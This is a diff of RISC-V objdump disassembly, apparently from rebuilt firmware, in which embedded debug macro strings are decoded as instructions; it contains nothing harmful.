-    1cfa:	4d5f4353          	0x4d5f4353
-    1cfe:	5041                	c.li	zero,-16
-    1d00:	4550                	lw	a2,12(a0)
-    1d02:	5f44                	lw	s1,60(a4)
-    1d04:	4946                	lw	s2,80(sp)
-    1d06:	454c                	lw	a1,12(a0)
-    1d08:	33322053          	0x33322053
-    1d0c:	5f00                	lw	s0,56(a4)
-    1d0e:	6c5f 6e6f 5f67      	0x5f676e6f6c5f
-    1d14:	6f64                	flw	fs1,92(a4)
-    1d16:	6275                	lui	tp,0x1d
-    1d18:	656c                	flw	fa1,76(a0)
-    1d1a:	745f 6c20 6e6f      	0x6e6f6c20745f
-    1d20:	6f642067          	0x6f642067
-    1d24:	6275                	lui	tp,0x1d
-    1d26:	656c                	flw	fa1,76(a0)
-    1d28:	4c00                	lw	s0,24(s0)
-    1d2a:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    1d2e:	30204853          	0x30204853
-    1d32:	3078                	fld	fa4,224(s0)
-    1d34:	0031                	c.nop	12
-    1d36:	5f5f 6572 7571      	0x757165725f5f
-    1d3c:	7269                	lui	tp,0xffffa
-    1d3e:	7365                	lui	t1,0xffff9
-    1d40:	655f 6378 756c      	0x756c6378655f
-    1d46:	65766973          	csrrsi	s2,0x657,12
-    1d4a:	2e28                	fld	fa0,88(a2)
-    1d4c:	2e2e                	fld	ft8,200(sp)
-    1d4e:	2029                	jal	1d58 <__stack_size+0x1558>
-    1d50:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    1d56:	615f 6e6e 746f      	0x746f6e6e615f
-    1d5c:	7461                	lui	s0,0xffff8
-    1d5e:	2865                	jal	1e16 <__stack_size+0x1616>
-    1d60:	7865                	lui	a6,0xffff9
-    1d62:	73756c63          	bltu	a0,s7,249a <__stack_size+0x1c9a>
-    1d66:	7669                	lui	a2,0xffffa
-    1d68:	5f65                	li	t5,-7
-    1d6a:	6f6c                	flw	fa1,92(a4)
-    1d6c:	5f736b63          	bltu	t1,s7,2362 <__stack_size+0x1b62>
-    1d70:	6572                	flw	fa0,28(sp)
-    1d72:	7571                	lui	a0,0xffffc
-    1d74:	7269                	lui	tp,0xffffa
-    1d76:	6465                	lui	s0,0x19
-    1d78:	5f28                	lw	a0,120(a4)
-    1d7a:	565f 5f41 5241      	0x52415f41565f
-    1d80:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    11c6:	495f 544e 4c5f      	0x4c5f544e495f
+    11cc:	4145                	li	sp,17
+    11ce:	34365453          	0x34365453
+    11d2:	545f 5059 5f45      	0x5f455059545f
+    11d8:	205f 6f6c 676e      	0x676e6f6c205f
+    11de:	6c20                	flw	fs0,88(s0)
+    11e0:	20676e6f          	jal	t3,773e6 <__stack_size+0x76be6>
+    11e4:	6e69                	lui	t3,0x1a
+    11e6:	0074                	addi	a3,sp,12
+    11e8:	5441                	li	s0,-16
+    11ea:	535f 4d59 494c      	0x494c4d59535f
+    11f0:	4b4e                	lw	s6,208(sp)
+    11f2:	4e5f 464f 4c4f      	0x4c4f464f4e5f
+    11f8:	4f4c                	lw	a1,28(a4)
+    11fa:	00322057          	0x322057
+    11fe:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    1204:	615f 7163 6975      	0x69757163615f
+    120a:	6572                	flw	fa0,28(sp)
+    120c:	6c28                	flw	fa0,88(s0)
+    120e:	296b636f          	jal	t1,b74a4 <__stack_size+0xb6ca4>
+    1212:	2820                	fld	fs0,80(s0)
+    1214:	7628                	flw	fa0,104(a2)
+    1216:	2964696f          	jal	s2,474ac <__stack_size+0x46cac>
+    121a:	3020                	fld	fs0,96(s0)
+    121c:	0029                	c.nop	10
+    121e:	535f 5f43 454d      	0x454d5f43535f
+    1224:	4c4d                	li	s8,19
+    1226:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    122a:	3432                	fld	fs0,296(sp)
+    122c:	4300                	lw	s0,0(a4)
+    122e:	494c                	lw	a1,20(a0)
+    1230:	544e                	lw	s0,240(sp)
+    1232:	4d5f 4954 454d      	0x454d49544d5f
+    1238:	20504d43          	fmadd.s	fs10,ft0,ft5,ft4,rmm
+    123c:	7830                	flw	fa2,112(s0)
+    123e:	3034                	fld	fa3,96(s0)
+    1240:	3030                	fld	fa2,96(s0)
+    1242:	5500                	lw	s0,40(a0)
+    1244:	4e49                	li	t3,18
+    1246:	4d54                	lw	a3,28(a0)
+    1248:	5841                	li	a6,-16
+    124a:	4d5f 5841 5f00      	0x5f0058414d5f
+    1250:	725f 7165 6975      	0x69757165725f
+    1256:	6572                	flw	fa0,28(sp)
+    1258:	6e755f73          	csrrwi	t5,0x6e7,10
+    125c:	6f6c                	flw	fa1,92(a4)
+    125e:	64656b63          	bltu	a0,t1,18b4 <__stack_size+0x10b4>
+    1262:	2e28                	fld	fa0,88(a2)
+    1264:	2e2e                	fld	ft8,200(sp)
+    1266:	2029                	jal	1270 <__stack_size+0xa70>
+    1268:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    126e:	615f 6e6e 746f      	0x746f6e6e615f
+    1274:	7461                	lui	s0,0xffff8
+    1276:	2865                	jal	132e <__stack_size+0xb2e>
+    1278:	6f6c                	flw	fa1,92(a4)
+    127a:	5f736b63          	bltu	t1,s7,1870 <__stack_size+0x1070>
+    127e:	7865                	lui	a6,0xffff9
+    1280:	64756c63          	bltu	a0,t2,18d8 <__stack_size+0x10d8>
+    1284:	6465                	lui	s0,0x19
+    1286:	5f28                	lw	a0,120(a4)
+    1288:	565f 5f41 5241      	0x52415f41565f
+    128e:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    1292:	2929                	jal	16ac <__stack_size+0xeac>
+    1294:	4600                	lw	s0,8(a2)
+    1296:	475f 5445 4c46      	0x4c465445475f
+    129c:	3320                	fld	fs0,96(a4)
+    129e:	5f00                	lw	s0,56(a4)
+    12a0:	5f5f 6e69 5f74      	0x5f746e695f5f
+    12a6:	61686377          	0x61686377
+    12aa:	5f72                	lw	t5,60(sp)
+    12ac:	5f74                	lw	a3,124(a4)
+    12ae:	2068                	fld	fa0,192(s0)
+    12b0:	5f00                	lw	s0,56(a4)
+    12b2:	535f 5359 4c5f      	0x4c5f5359535f
+    12b8:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    12bc:	5f48                	lw	a0,60(a4)
+    12be:	205f 5500 4e49      	0x4e495500205f
+    12c4:	4d54                	lw	a3,28(a0)
+    12c6:	5841                	li	a6,-16
+    12c8:	435f 6328 2029      	0x20296328435f
+    12ce:	5f5f 4955 544e      	0x544e49555f5f
+    12d4:	414d                	li	sp,19
+    12d6:	5f58                	lw	a4,60(a4)
+    12d8:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    12dc:	5f00                	lw	s0,56(a4)
+    12de:	445f 4c42 455f      	0x455f4c42445f
+    12e4:	5350                	lw	a2,36(a4)
+    12e6:	4c49                	li	s8,18
+    12e8:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    12ec:	2820                	fld	fs0,80(s0)
+    12ee:	6428                	flw	fa0,72(s0)
+    12f0:	6c62756f          	jal	a0,289b6 <__stack_size+0x281b6>
+    12f4:	2965                	jal	17ac <__stack_size+0xfac>
+    12f6:	2e32                	fld	ft8,264(sp)
+    12f8:	3232                	fld	ft4,296(sp)
+    12fa:	3430                	fld	fa2,104(s0)
+    12fc:	3634                	fld	fa3,104(a2)
+    12fe:	3430                	fld	fa2,104(s0)
+    1300:	3239                	jal	c0e <__stack_size+0x40e>
+    1302:	3035                	jal	b2e <__stack_size+0x32e>
+    1304:	30333133          	0x30333133
+    1308:	3038                	fld	fa4,96(s0)
+    130a:	3438                	fld	fa4,104(s0)
+    130c:	33363237          	lui	tp,0x33363
+    1310:	31363333          	0x31363333
+    1314:	3138                	fld	fa4,96(a0)
+    1316:	3436                	fld	fs0,360(sp)
+    1318:	3630                	fld	fa2,104(a2)
+    131a:	6532                	flw	fa0,12(sp)
+    131c:	312d                	jal	f46 <__stack_size+0x746>
+    131e:	4c36                	lw	s8,76(sp)
+    1320:	0029                	c.nop	10
+    1322:	6566                	flw	fa0,88(sp)
+    1324:	7272                	flw	ft4,60(sp)
+    1326:	7028726f          	jal	tp,88a28 <__stack_size+0x88228>
+    132a:	2029                	jal	1334 <__stack_size+0xb34>
+    132c:	5f5f 6673 7265      	0x726566735f5f
+    1332:	6f72                	flw	ft10,28(sp)
+    1334:	2872                	fld	fa6,280(sp)
+    1336:	2970                	fld	fa2,208(a0)
+    1338:	6d00                	flw	fs0,24(a0)
+    133a:	6d65                	lui	s10,0x19
+    133c:	00797063          	bgeu	s2,t2,133c <__stack_size+0xb3c>
+    1340:	5f5f 6564 6461      	0x646165645f5f
+    1346:	2032                	fld	ft0,264(sp)
+    1348:	5f5f 7461 7274      	0x727474615f5f
+    134e:	6269                	lui	tp,0x1a
+    1350:	7475                	lui	s0,0xffffd
+    1352:	5f65                	li	t5,-7
+    1354:	285f 5f28 6e5f      	0x6e5f5f28285f
+    135a:	7465726f          	jal	tp,58aa0 <__stack_size+0x582a0>
+    135e:	7275                	lui	tp,0xffffd
+    1360:	5f6e                	lw	t5,248(sp)
+    1362:	295f 0029 525f      	0x525f0029295f
+    1368:	4545                	li	a0,17
+    136a:	544e                	lw	s0,240(sp)
+    136c:	415f 4353 4954      	0x49544353415f
+    1372:	454d                	li	a0,19
+    1374:	535f 5a49 2045      	0x20455a49535f
+    137a:	3632                	fld	fa2,296(sp)
+    137c:	5f00                	lw	s0,56(a4)
+    137e:	4350                	lw	a2,4(a4)
+    1380:	465f 4c49 5345      	0x53454c49465f
+    1386:	5a49                	li	s4,-14
+    1388:	4245                	li	tp,17
+    138a:	5449                	li	s0,-14
+    138c:	32312053          	0x32312053
+    1390:	5f00                	lw	s0,56(a4)
+    1392:	555f 4e49 3854      	0x38544e49555f
+    1398:	545f 5059 5f45      	0x5f455059545f
+    139e:	205f 6e75 6973      	0x69736e75205f
+    13a4:	64656e67          	0x64656e67
+    13a8:	6320                	flw	fs0,64(a4)
+    13aa:	6168                	flw	fa0,68(a0)
+    13ac:	0072                	c.slli	zero,0x1c
+    13ae:	4d44                	lw	s1,28(a0)
+    13b0:	5f41                	li	t5,-16
+    13b2:	435f4843          	fmadd.d	fa6,ft10,fs5,fs0,rmm
+    13b6:	5254                	lw	a3,36(a2)
+    13b8:	5f4c                	lw	a1,60(a4)
+    13ba:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    13be:	7830                	flw	fa2,112(s0)
+    13c0:	3434                	fld	fa3,104(s0)
+    13c2:	5f00                	lw	s0,56(a4)
+    13c4:	4649                	li	a2,18
+    13c6:	4649                	li	a2,18
+    13c8:	3030204f          	fnmadd.s	ft0,ft0,ft3,ft6,rdn
+    13cc:	3031                	jal	bd8 <__stack_size+0x3d8>
+    13ce:	3030                	fld	fa2,96(s0)
+    13d0:	0030                	addi	a2,sp,8
+    13d2:	525f 4545 544e      	0x544e4545525f
+    13d8:	4d5f 4c42 4e45      	0x4e454c424d5f
+    13de:	535f 4154 4554      	0x45544154535f
+    13e4:	7028                	flw	fa0,96(s0)
+    13e6:	7274                	flw	fa3,100(a2)
+    13e8:	2029                	jal	13f2 <__stack_size+0xbf2>
+    13ea:	2828                	fld	fa0,80(s0)
+    13ec:	7470                	flw	fa2,108(s0)
+    13ee:	2972                	fld	fs2,280(sp)
+    13f0:	3e2d                	jal	f2a <__stack_size+0x72a>
+    13f2:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    13f8:	6572                	flw	fa0,28(sp)
+    13fa:	6e65                	lui	t3,0x19
+    13fc:	2e74                	fld	fa3,216(a2)
+    13fe:	6d5f 6c62 6e65      	0x6e656c626d5f
+    1404:	735f 6174 6574      	0x65746174735f
+    140a:	0029                	c.nop	10
+    140c:	5f5f 4c46 3354      	0x33544c465f5f
+    1412:	5f32                	lw	t5,44(sp)
+    1414:	494d                	li	s2,19
+    1416:	5f4e                	lw	t5,240(sp)
+    1418:	3031                	jal	c24 <__stack_size+0x424>
+    141a:	455f 5058 5f5f      	0x5f5f5058455f
+    1420:	2820                	fld	fs0,80(s0)
+    1422:	332d                	jal	114c <__stack_size+0x94c>
+    1424:	4c002937          	lui	s2,0x4c002
+    1428:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    142c:	4f4c                	lw	a1,28(a4)
+    142e:	474e                	lw	a4,208(sp)
+    1430:	4d5f 4e49 5f00      	0x5f004e494d5f
+    1436:	4e46                	lw	t3,80(sp)
+    1438:	4c4f464f          	0x4c4f464f
+    143c:	4f4c                	lw	a1,28(a4)
+    143e:	78302057          	0x78302057
+    1442:	3031                	jal	c4e <__stack_size+0x44e>
+    1444:	3030                	fld	fa2,96(s0)
+    1446:	3030                	fld	fa2,96(s0)
+    1448:	5300                	lw	s0,32(a4)
+    144a:	5248                	lw	a0,36(a2)
+    144c:	5f54                	lw	a3,60(a4)
+    144e:	494d                	li	s2,19
+    1450:	004e                	c.slli	zero,0x13
+    1452:	52495f53          	0x52495f53
+    1456:	5355                	li	t1,-11
+    1458:	2052                	fld	ft0,272(sp)
+    145a:	3030                	fld	fa2,96(s0)
+    145c:	3030                	fld	fa2,96(s0)
+    145e:	3034                	fld	fa3,96(s0)
+    1460:	0030                	addi	a2,sp,8
+    1462:	465f 5845 4345      	0x43455845465f
+    1468:	48435253          	0x48435253
+    146c:	3020                	fld	fs0,96(s0)
+    146e:	3478                	fld	fa4,232(s0)
+    1470:	3030                	fld	fa2,96(s0)
+    1472:	3030                	fld	fa2,96(s0)
+    1474:	0030                	addi	a2,sp,8
+    1476:	5f5f 4955 544e      	0x544e49555f5f
+    147c:	414d                	li	sp,19
+    147e:	5f58                	lw	a4,60(a4)
+    1480:	5954                	lw	a3,52(a0)
+    1482:	4550                	lw	a2,12(a0)
+    1484:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
+    148a:	6f6c2067          	0x6f6c2067
+    148e:	676e                	flw	fa4,216(sp)
+    1490:	7520                	flw	fs0,104(a0)
+    1492:	736e                	flw	ft6,248(sp)
+    1494:	6769                	lui	a4,0x1a
+    1496:	656e                	flw	fa0,216(sp)
+    1498:	2064                	fld	fs1,192(s0)
+    149a:	6e69                	lui	t3,0x1a
+    149c:	0074                	addi	a3,sp,12
+    149e:	5f5f 4c46 3154      	0x31544c465f5f
+    14a4:	3832                	fld	fa6,296(sp)
+    14a6:	4d5f 4e49 455f      	0x455f4e494d5f
+    14ac:	5058                	lw	a4,36(s0)
+    14ae:	5f5f 2820 312d      	0x312d28205f5f
+    14b4:	3336                	fld	ft6,360(sp)
+    14b6:	3138                	fld	fa4,96(a0)
+    14b8:	0029                	c.nop	10
+    14ba:	5f5f 5453 4344      	0x434454535f5f
+    14c0:	555f 4654 335f      	0x335f4654555f
+    14c6:	5f32                	lw	t5,44(sp)
+    14c8:	205f 0031 5f5f      	0x5f5f0031205f
+    14ce:	4e49                	li	t3,18
+    14d0:	5f54                	lw	a3,60(a4)
+    14d2:	454c                	lw	a1,12(a0)
+    14d4:	5341                	li	t1,-16
+    14d6:	3154                	fld	fa3,160(a0)
+    14d8:	5f36                	lw	t5,108(sp)
+    14da:	414d                	li	sp,19
+    14dc:	5f58                	lw	a4,60(a4)
+    14de:	205f 7830 6637      	0x66377830205f
+    14e4:	6666                	flw	fa2,88(sp)
+    14e6:	5f00                	lw	s0,56(a4)
+    14e8:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    14ee:	4e49                	li	t3,18
+    14f0:	5449                	li	s0,-14
+    14f2:	525f 4345 5255      	0x52554345525f
+    14f8:	45564953          	0x45564953
+    14fc:	6328                	flw	fa0,64(a4)
+    14fe:	616c                	flw	fa1,68(a0)
+    1500:	6c2c7373          	csrrci	t1,0x6c2,24
+    1504:	296b636f          	jal	t1,b779a <__stack_size+0xb6f9a>
+    1508:	7320                	flw	fs0,96(a4)
+    150a:	6174                	flw	fa3,68(a0)
+    150c:	6974                	flw	fa3,84(a0)
+    150e:	6e692063          	0x6e692063
+    1512:	2074                	fld	fa3,192(s0)
+    1514:	6f6c                	flw	fa1,92(a4)
+    1516:	3d206b63          	bltu	zero,s2,18ec <__stack_size+0x10ec>
+    151a:	3020                	fld	fs0,96(s0)
+    151c:	4d5f003b          	0x4d5f003b
+    1520:	4341                	li	t1,16
+    1522:	5348                	lw	a0,36(a4)
+    1524:	4454                	lw	a3,12(s0)
+    1526:	494c                	lw	a1,20(a0)
+    1528:	5f42                	lw	t5,48(sp)
+    152a:	5f48                	lw	a0,60(a4)
+    152c:	0020                	addi	s0,sp,8
+    152e:	535f 5359 535f      	0x535f5359535f
+    1534:	4154                	lw	a3,4(a0)
+    1536:	5f54                	lw	a3,60(a4)
+    1538:	2048                	fld	fa0,128(s0)
+    153a:	5300                	lw	s0,32(a4)
+    153c:	495f 4758 5052      	0x50524758495f
+    1542:	3020                	fld	fs0,96(s0)
+    1544:	3030                	fld	fa2,96(s0)
+    1546:	3030                	fld	fa2,96(s0)
+    1548:	3031                	jal	d54 <__stack_size+0x554>
+    154a:	5f00                	lw	s0,56(a4)
+    154c:	535f4353          	0x535f4353
+    1550:	4d45                	li	s10,17
+    1552:	565f 4c41 4555      	0x45554c41565f
+    1558:	4d5f 5841 3120      	0x312058414d5f
+    155e:	475f0037          	lui	zero,0x475f0
+    1562:	4e5f4343          	fmadd.q	ft6,ft10,ft5,fs1,rmm
+    1566:	5845                	li	a6,-15
+    1568:	5f54                	lw	a3,60(a4)
+    156a:	494c                	lw	a1,20(a0)
+    156c:	494d                	li	s2,19
+    156e:	5354                	lw	a3,36(a4)
+    1570:	485f 5f00 4e41      	0x4e415f00485f
+    1576:	45444953          	0x45444953
+    157a:	485f4c43          	fmadd.s	fs8,ft10,ft5,fs1,rmm
+    157e:	205f 5f00 555f      	0x555f5f00205f
+    1584:	4e49                	li	t3,18
+    1586:	3154                	fld	fa3,160(a0)
+    1588:	5f36                	lw	t5,108(sp)
+    158a:	5954                	lw	a3,52(a0)
+    158c:	4550                	lw	a2,12(a0)
+    158e:	5f5f 7320 6f68      	0x6f6873205f5f
+    1594:	7472                	flw	fs0,60(sp)
+    1596:	7520                	flw	fs0,104(a0)
+    1598:	736e                	flw	ft6,248(sp)
+    159a:	6769                	lui	a4,0x1a
+    159c:	656e                	flw	fa0,216(sp)
+    159e:	2064                	fld	fs1,192(s0)
+    15a0:	6e69                	lui	t3,0x1a
+    15a2:	0074                	addi	a3,sp,12
+    15a4:	535f 5f43 4152      	0x41525f43535f
+    15aa:	4f535f57          	0x4f535f57
+    15ae:	54454b43          	0x54454b43
+    15b2:	30372053          	0x30372053
+    15b6:	7300                	flw	fs0,32(a4)
+    15b8:	6474                	flw	fa3,76(s0)
+    15ba:	2074756f          	jal	a0,48fc0 <__stack_size+0x487c0>
+    15be:	5f28                	lw	a0,120(a4)
+    15c0:	4552                	lw	a0,20(sp)
+    15c2:	4e45                	li	t3,17
+    15c4:	2d54                	fld	fa3,152(a0)
+    15c6:	5f3e                	lw	t5,236(sp)
+    15c8:	6f647473          	csrrci	s0,0x6f6,8
+    15cc:	7475                	lui	s0,0xffffd
+    15ce:	0029                	c.nop	10
+    15d0:	5f5f 5845 0050      	0x5058455f5f
+    15d6:	5a4d                	li	s4,-13
+    15d8:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    15dc:	4441                	li	s0,16
+    15de:	4954                	lw	a3,20(a0)
+    15e0:	454d                	li	a0,19
+    15e2:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
+    15e6:	6176                	flw	ft2,92(sp)
+    15e8:	296c                	fld	fa1,208(a0)
+    15ea:	6120                	flw	fs0,64(a0)
+    15ec:	76206d73          	csrrsi	s10,0x762,0
+    15f0:	74616c6f          	jal	s8,17d36 <__stack_size+0x17536>
+    15f4:	6c69                	lui	s8,0x1a
+    15f6:	2065                	jal	169e <__stack_size+0xe9e>
+    15f8:	2028                	fld	fa0,64(s0)
+    15fa:	6d22                	flw	fs10,8(sp)
+    15fc:	2076                	fld	ft0,344(sp)
+    15fe:	3161                	jal	1286 <__stack_size+0xa86>
+    1600:	202c                	fld	fa1,64(s0)
+    1602:	3025                	jal	e2a <__stack_size+0x62a>
+    1604:	766d203b          	0x766d203b
+    1608:	6120                	flw	fs0,64(a0)
+    160a:	2c32                	fld	fs8,264(sp)
+    160c:	2520                	fld	fs0,72(a0)
+    160e:	3b31                	jal	132a <__stack_size+0xb2a>
+    1610:	2022                	fld	ft0,8(sp)
+    1612:	6c22                	flw	fs8,8(sp)
+    1614:	2069                	jal	169e <__stack_size+0xe9e>
+    1616:	3061                	jal	e9e <__stack_size+0x69e>
+    1618:	202c                	fld	fa1,64(s0)
+    161a:	20223b37          	lui	s6,0x20223
+    161e:	7a6d                	lui	s4,0xffffb
+    1620:	20656e6f          	jal	t3,57826 <__stack_size+0x57026>
+    1624:	203a                	fld	ft0,392(sp)
+    1626:	203a                	fld	ft0,392(sp)
+    1628:	7222                	flw	ft4,40(sp)
+    162a:	2822                	fld	fa6,8(sp)
+    162c:	7528                	flw	fa0,104(a0)
+    162e:	6e69                	lui	t3,0x1a
+    1630:	3374                	fld	fa3,224(a4)
+    1632:	5f32                	lw	t5,44(sp)
+    1634:	2974                	fld	fa3,208(a0)
+    1636:	6176                	flw	ft2,92(sp)
+    1638:	296c                	fld	fa1,208(a0)
+    163a:	202c                	fld	fa1,64(s0)
+    163c:	7222                	flw	ft4,40(sp)
+    163e:	2822                	fld	fa6,8(sp)
+    1640:	7528                	flw	fa0,104(a0)
+    1642:	6e69                	lui	t3,0x1a
+    1644:	3374                	fld	fa3,224(a4)
+    1646:	5f32                	lw	t5,44(sp)
+    1648:	2974                	fld	fa3,208(a0)
+    164a:	2828                	fld	fa0,80(s0)
+    164c:	6975                	lui	s2,0x1d
+    164e:	746e                	flw	fs0,248(sp)
+    1650:	3436                	fld	fs0,360(sp)
+    1652:	745f 7629 6c61      	0x6c617629745f
+    1658:	3e3e                	fld	ft8,488(sp)
+    165a:	29293233          	0x29293233
+    165e:	3a20                	fld	fs0,112(a2)
+    1660:	2220                	fld	fs0,64(a2)
+    1662:	3061                	jal	eea <__stack_size+0x6ea>
+    1664:	2c22                	fld	fs8,8(sp)
+    1666:	2220                	fld	fs0,64(a2)
+    1668:	3161                	jal	12f0 <__stack_size+0xaf0>
+    166a:	2c22                	fld	fs8,8(sp)
+    166c:	2220                	fld	fs0,64(a2)
+    166e:	3261                	jal	ff6 <__stack_size+0x7f6>
+    1670:	2022                	fld	ft0,8(sp)
+    1672:	3b29                	jal	138c <__stack_size+0xb8c>
+    1674:	4c00                	lw	s0,24(s0)
+    1676:	4f4c                	lw	a1,28(a4)
+    1678:	474e                	lw	a4,208(sp)
+    167a:	4d5f 4e49 2820      	0x28204e494d5f
+    1680:	4c2d                	li	s8,11
+    1682:	4f4c                	lw	a1,28(a4)
+    1684:	474e                	lw	a4,208(sp)
+    1686:	4d5f 5841 2d20      	0x2d2058414d5f
+    168c:	3120                	fld	fs0,96(a0)
+    168e:	4c4c                	lw	a1,28(s0)
+    1690:	0029                	c.nop	10
+    1692:	5441                	li	s0,-16
+    1694:	535f 4d59 494c      	0x494c4d59535f
+    169a:	4b4e                	lw	s6,208(sp)
+    169c:	465f 4c4f 4f4c      	0x4f4c4c4f465f
+    16a2:	00342057          	0x342057
+    16a6:	535f 5f43 4c43      	0x4c435f43535f
+    16ac:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    16b0:	454c4553          	0x454c4553
+    16b4:	4f495443          	fmadd.q	fs0,fs2,fs4,fs1,unknown
+    16b8:	204e                	fld	ft0,208(sp)
+    16ba:	3136                	fld	ft2,360(sp)
+    16bc:	5f00                	lw	s0,56(a4)
+    16be:	5f54                	lw	a3,60(a4)
+    16c0:	455a4953          	0x455a4953
+    16c4:	205f 5f00 495f      	0x495f5f00205f
+    16ca:	435f4f53          	0x435f4f53
+    16ce:	565f 5349 4249      	0x42495349565f
+    16d4:	454c                	lw	a1,12(a0)
+    16d6:	3220                	fld	fs0,96(a2)
+    16d8:	3130                	fld	fa2,96(a0)
+    16da:	0031                	c.nop	12
+    16dc:	545f 4d49 5f45      	0x5f454d49545f
+    16e2:	5f54                	lw	a3,60(a4)
+    16e4:	4544                	lw	s1,12(a0)
+    16e6:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    16ea:	4445                	li	s0,17
+    16ec:	0020                	addi	s0,sp,8
+    16ee:	535f 4749 4553      	0x45534749535f
+    16f4:	5f54                	lw	a3,60(a4)
+    16f6:	5f54                	lw	a3,60(a4)
+    16f8:	4544                	lw	s1,12(a0)
+    16fa:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    16fe:	4445                	li	s0,17
+    1700:	0020                	addi	s0,sp,8
+    1702:	5f5f 7865 6f70      	0x6f7078655f5f
+    1708:	7472                	flw	fs0,60(sp)
+    170a:	6465                	lui	s0,0x19
+    170c:	5f20                	lw	s0,120(a4)
+    170e:	615f 7474 6972      	0x69727474615f
+    1714:	7562                	flw	fa0,56(sp)
+    1716:	6574                	flw	fa3,76(a0)
+    1718:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    171e:	6976                	flw	fs2,92(sp)
+    1720:	69626973          	csrrsi	s2,0x696,4
+    1724:	696c                	flw	fa1,84(a0)
+    1726:	7974                	flw	fa3,116(a0)
+    1728:	5f5f 2228 6564      	0x656422285f5f
+    172e:	6166                	flw	ft2,88(sp)
+    1730:	6c75                	lui	s8,0x1d
+    1732:	2274                	fld	fa3,192(a2)
+    1734:	2929                	jal	1b4e <__stack_size+0x134e>
+    1736:	0029                	c.nop	10
+    1738:	5f5f 4c46 3354      	0x33544c465f5f
+    173e:	5832                	lw	a6,44(sp)
+    1740:	455f 5350 4c49      	0x4c495350455f
+    1746:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    174a:	3220                	fld	fs0,96(a2)
+    174c:	322e                	fld	ft4,232(sp)
+    174e:	3032                	fld	ft0,296(sp)
+    1750:	3434                	fld	fa3,104(s0)
+    1752:	3036                	fld	ft0,360(sp)
+    1754:	3934                	fld	fa3,112(a0)
+    1756:	3532                	fld	fa0,296(sp)
+    1758:	3330                	fld	fa2,96(a4)
+    175a:	3331                	jal	1466 <__stack_size+0xc66>
+    175c:	3830                	fld	fa2,112(s0)
+    175e:	3830                	fld	fa2,112(s0)
+    1760:	3734                	fld	fa3,104(a4)
+    1762:	3632                	fld	fa2,296(sp)
+    1764:	36333333          	0x36333333
+    1768:	3831                	jal	f84 <__stack_size+0x784>
+    176a:	3631                	jal	1276 <__stack_size+0xa76>
+    176c:	3034                	fld	fa3,96(s0)
+    176e:	3236                	fld	ft4,360(sp)
+    1770:	2d65                	jal	1e28 <__stack_size+0x1628>
+    1772:	3631                	jal	127e <__stack_size+0xa7e>
+    1774:	3346                	fld	ft6,112(sp)
+    1776:	7832                	flw	fa6,44(sp)
+    1778:	5f00                	lw	s0,56(a4)
+    177a:	465f 544c 3233      	0x3233544c465f
+    1780:	5f58                	lw	a4,60(a4)
+    1782:	4148                	lw	a0,4(a0)
+    1784:	4e495f53          	0x4e495f53
+    1788:	4946                	lw	s2,80(sp)
+    178a:	494e                	lw	s2,208(sp)
+    178c:	5954                	lw	a3,52(a0)
+    178e:	5f5f 3120 5f00      	0x5f0031205f5f
+    1794:	5441                	li	s0,-16
+    1796:	5845                	li	a6,-15
+    1798:	5449                	li	s0,-14
+    179a:	535f 5a49 2045      	0x20455a49535f
+    17a0:	5f003233          	0x5f003233
+    17a4:	325f4353          	0x325f4353
+    17a8:	505f 5342 4c5f      	0x4c5f5342505f
+    17ae:	5441434f          	0x5441434f
+    17b2:	2045                	jal	1852 <__stack_size+0x1052>
+    17b4:	3131                	jal	13c0 <__stack_size+0xbc0>
+    17b6:	0036                	c.slli	zero,0xd
+    17b8:	53525343          	fmadd.d	ft6,ft4,fs5,fa0,unknown
+    17bc:	6328                	flw	fa0,64(a4)
+    17be:	722c7273          	csrrci	tp,0x722,24
+    17c2:	28202973          	csrr	s2,0x282
+    17c6:	6e75207b          	0x6e75207b
+    17ca:	6e676973          	csrrsi	s2,0x6e6,14
+    17ce:	6465                	lui	s0,0x19
+    17d0:	6c20                	flw	fs0,88(s0)
+    17d2:	20676e6f          	jal	t3,779d8 <__stack_size+0x771d8>
+    17d6:	6472                	flw	fs0,28(sp)
+    17d8:	6669203b          	0x6669203b
+    17dc:	2820                	fld	fs0,80(s0)
+    17de:	5f5f 7562 6c69      	0x6c6975625f5f
+    17e4:	6974                	flw	fa3,84(a0)
+    17e6:	5f6e                	lw	t5,248(sp)
+    17e8:	736e6f63          	bltu	t3,s6,1f26 <__stack_size+0x1726>
+    17ec:	6174                	flw	fa3,68(a0)
+    17ee:	746e                	flw	fs0,248(sp)
+    17f0:	705f 7228 2973      	0x29737228705f
+    17f6:	2620                	fld	fs0,72(a2)
+    17f8:	2026                	fld	ft0,72(sp)
+    17fa:	7528                	flw	fa0,104(a0)
+    17fc:	736e                	flw	ft6,248(sp)
+    17fe:	6769                	lui	a4,0x1a
+    1800:	656e                	flw	fa0,216(sp)
+    1802:	2064                	fld	fs1,192(s0)
+    1804:	6f6c                	flw	fa1,92(a4)
+    1806:	676e                	flw	fa4,216(sp)
+    1808:	2829                	jal	1822 <__stack_size+0x1022>
+    180a:	7372                	flw	ft6,60(sp)
+    180c:	2029                	jal	1816 <__stack_size+0x1016>
+    180e:	203c                	fld	fa5,64(s0)
+    1810:	20293233          	0x20293233
+    1814:	7361                	lui	t1,0xffff8
